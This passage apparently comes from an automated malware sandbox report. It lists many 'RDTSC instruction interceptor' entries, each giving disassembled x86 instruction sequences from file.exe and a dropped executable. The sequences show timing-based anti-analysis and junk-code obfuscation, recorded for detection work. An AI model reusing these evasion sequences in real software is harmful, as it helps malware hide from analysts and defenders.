0x0000005d rep movsd 0x0000005f jmp 00007F2E40BD869Fh 0x00000064 mov ecx, edx 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D082A second address: 55D082E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D082E second address: 55D0834 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D0834 second address: 55D0862 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 05h 0x00000005 mov di, 2208h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c and ecx, 03h 0x0000000f jmp 00007F2E405325E7h 0x00000014 rep movsb 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D0862 second address: 55D0866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D0866 second address: 55D086A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D086A second address: 55D0870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D0870 second address: 55D08B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 pushad 0x00000011 mov edi, 61B3C1B0h 0x00000016 popad 0x00000017 mov eax, ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F2E405325E0h 0x00000022 sub cx, C1F8h 0x00000027 jmp 00007F2E405325DBh 0x0000002c popfd 0x0000002d pushad 0x0000002e popad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D08B6 second address: 55D08CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2E40BD86A2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D08CC second address: 55D092F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [ebp-10h] 0x0000000b jmp 00007F2E405325E7h 0x00000010 mov dword ptr fs:[00000000h], ecx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F2E405325E4h 0x0000001e jmp 00007F2E405325E5h 0x00000023 popfd 0x00000024 mov dh, ah 0x00000026 popad 0x00000027 pop ecx 0x00000028 pushad 0x00000029 mov edx, 3D31DA5Ch 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D092F second address: 55D096D instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F2E40BD86A1h 0x00000008 sbb cx, 3AB6h 0x0000000d jmp 00007F2E40BD86A1h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F2E40BD869Dh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D096D second address: 55D0973 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D0973 second address: 55D0977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D0977 second address: 55D097B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D097B second address: 55D09D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 jmp 00007F2E40BD869Fh 0x0000000e pop ebx 0x0000000f pushad 0x00000010 mov si, 149Bh 0x00000014 pushfd 0x00000015 jmp 00007F2E40BD86A0h 0x0000001a or ecx, 463E1768h 0x00000020 jmp 00007F2E40BD869Bh 0x00000025 popfd 0x00000026 popad 0x00000027 leave 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F2E40BD86A5h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D09D5 second address: 55D04FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0008h 0x0000000c cmp dword ptr [ebp-2Ch], 10h 0x00000010 mov eax, dword ptr [ebp-40h] 0x00000013 jnc 00007F2E405325D5h 0x00000015 push eax 0x00000016 lea edx, dword ptr [ebp-00000590h] 0x0000001c push edx 0x0000001d call esi 0x0000001f push 00000008h 0x00000021 pushad 0x00000022 jmp 00007F2E405325DEh 0x00000027 movzx eax, bx 0x0000002a popad 0x0000002b push 022017CCh 0x00000030 pushad 0x00000031 mov edx, eax 0x00000033 popad 0x00000034 xor dword ptr [esp], 77B90BE4h 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e mov ax, 19B9h 0x00000042 pushfd 0x00000043 jmp 00007F2E405325E6h 0x00000048 and esi, 34E41DC8h 0x0000004e jmp 00007F2E405325DBh 0x00000053 popfd 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D0B26 second address: 55D0B72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F2E40BD86A1h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F2E40BD86A8h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D0B72 second address: 55D0B78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D0B78 second address: 55D0BB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD869Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F2E40BD869Dh 0x00000014 and si, DA06h 0x00000019 jmp 00007F2E40BD86A1h 0x0000001e popfd 0x0000001f mov si, 81B7h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7AFBBC second address: 7AFBC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7AFBC2 second address: 7AFBCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F2E40BD8696h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7AFBCE second address: 7AFBD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7AFBD3 second address: 7AFC04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F2E40BD869Fh 0x00000010 jmp 00007F2E40BD869Ah 0x00000015 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7AFC04 second address: 7AFC0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7AFC0A second address: 7AFC0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C4374 second address: 7C4384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C4384 second address: 7C4389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C44C0 second address: 7C44E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007F2E405325D6h 0x0000000d pushad 0x0000000e popad 0x0000000f jng 00007F2E405325D6h 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 popad 0x00000019 pop eax 0x0000001a popad 0x0000001b ja 00007F2E405325E6h 0x00000021 push ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C47A3 second address: 7C47A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C47A7 second address: 7C47D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325E9h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F2E405325DFh 0x00000010 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C47D5 second address: 7C47DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C47DA second address: 7C47E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C4A6A second address: 7C4A6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C4A6F second address: 7C4A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C4A77 second address: 7C4A80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C4A80 second address: 7C4A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C4BB1 second address: 7C4BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C4BB7 second address: 7C4BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F2E405325E7h 0x0000000c jmp 00007F2E405325DAh 0x00000011 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C4BDF second address: 7C4BE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C7BDB second address: 7C7BF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2E405325E6h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C7CCC second address: 7C7D23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 0E0E51F6h 0x00000011 jmp 00007F2E40BD86A7h 0x00000016 mov ecx, 166A12F2h 0x0000001b lea ebx, dword ptr [ebp+1244CACFh] 0x00000021 mov edx, dword ptr [ebp+122D2EEDh] 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push ecx 0x0000002b jmp 00007F2E40BD86A9h 0x00000030 pop ecx 0x00000031 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C7D91 second address: 7C7D9B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2E405325D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C7D9B second address: 7C7DFD instructions: 0x00000000 rdtsc 0x00000002 je 00007F2E40BD86A9h 0x00000008 jmp 00007F2E40BD86A3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 mov esi, 1D7E28CDh 0x00000017 push 00000000h 0x00000019 pushad 0x0000001a mov dword ptr [ebp+122D2AC3h], esi 0x00000020 pushad 0x00000021 sub dword ptr [ebp+122D3114h], ebx 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a popad 0x0000002b and dx, 0208h 0x00000030 call 00007F2E40BD8699h 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 jmp 00007F2E40BD86A5h 0x0000003d push edx 0x0000003e pop edx 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C7DFD second address: 7C7E02 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C7E02 second address: 7C7E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F2E40BD86A9h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F2E40BD86A1h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C7E3A second address: 7C7E40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C7E40 second address: 7C7E57 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2E40BD8696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jnp 00007F2E40BD869Eh 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C7E57 second address: 7C7E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jns 00007F2E405325D6h 0x00000012 jmp 00007F2E405325E2h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C7E7C second address: 7C7EEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD869Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [ebp+122D3247h], ebx 0x00000010 sub dword ptr [ebp+122D2BDFh], ebx 0x00000016 push 00000003h 0x00000018 movzx edx, dx 0x0000001b call 00007F2E40BD869Ah 0x00000020 mov ecx, dword ptr [ebp+122D2DC9h] 0x00000026 pop ecx 0x00000027 push 00000000h 0x00000029 mov ecx, dword ptr [ebp+122D2F75h] 0x0000002f push 00000003h 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007F2E40BD8698h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 00000019h 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b push edx 0x0000004c xor edi, dword ptr [ebp+122D2D21h] 0x00000052 pop ecx 0x00000053 push 63EA27E7h 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7C7EEC second address: 7C7EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7E6DAE second address: 7E6DB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7E6DB4 second address: 7E6DBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7B3343 second address: 7B334F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 je 00007F2E40BD8696h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7E72E9 second address: 7E7302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jl 00007F2E405325D6h 0x0000000c jo 00007F2E405325D6h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7E75D5 second address: 7E75DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7DAEE4 second address: 7DAEE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7DAEE9 second address: 7DAEEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7B4D9F second address: 7B4DCF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2E405325D6h 0x00000008 jmp 00007F2E405325DEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F2E405325E5h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7B4DCF second address: 7B4DFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A1h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F2E40BD86A3h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7E7B77 second address: 7E7B85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2E405325DAh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7E7B85 second address: 7E7B97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F2E40BD869Ch 0x0000000c jne 00007F2E40BD8696h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7E8625 second address: 7E8638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2E405325DFh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7BD60A second address: 7BD610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7BD610 second address: 7BD625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2E405325DCh 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7EBFBF second address: 7EBFC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7EC678 second address: 7EC67C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7EC67C second address: 7EC682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7EC682 second address: 7EC6B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2E405325E8h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7EC6B6 second address: 7EC6DE instructions: 0x00000000 rdtsc 0x00000002 je 00007F2E40BD8696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F2E40BD86A7h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7EC6DE second address: 7EC6E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7EC7AA second address: 7EC7D4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jo 00007F2E40BD8696h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jne 00007F2E40BD86A4h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7EC7D4 second address: 7EC7D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7EC7D9 second address: 7EC7F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7EC7F4 second address: 7EC811 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F59E0 second address: 7F5A05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F2E40BD8696h 0x0000000a js 00007F2E40BD8696h 0x00000010 popad 0x00000011 pushad 0x00000012 jp 00007F2E40BD8696h 0x00000018 jnl 00007F2E40BD8696h 0x0000001e popad 0x0000001f pop edx 0x00000020 push esi 0x00000021 push eax 0x00000022 push edx 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F55B7 second address: 7F55D0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F2E405325E3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F55D0 second address: 7F55D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F55D8 second address: 7F55DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F79E5 second address: 7F7A0D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2E40BD8698h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F2E40BD86A4h 0x00000019 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F7A0D second address: 7F7A13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
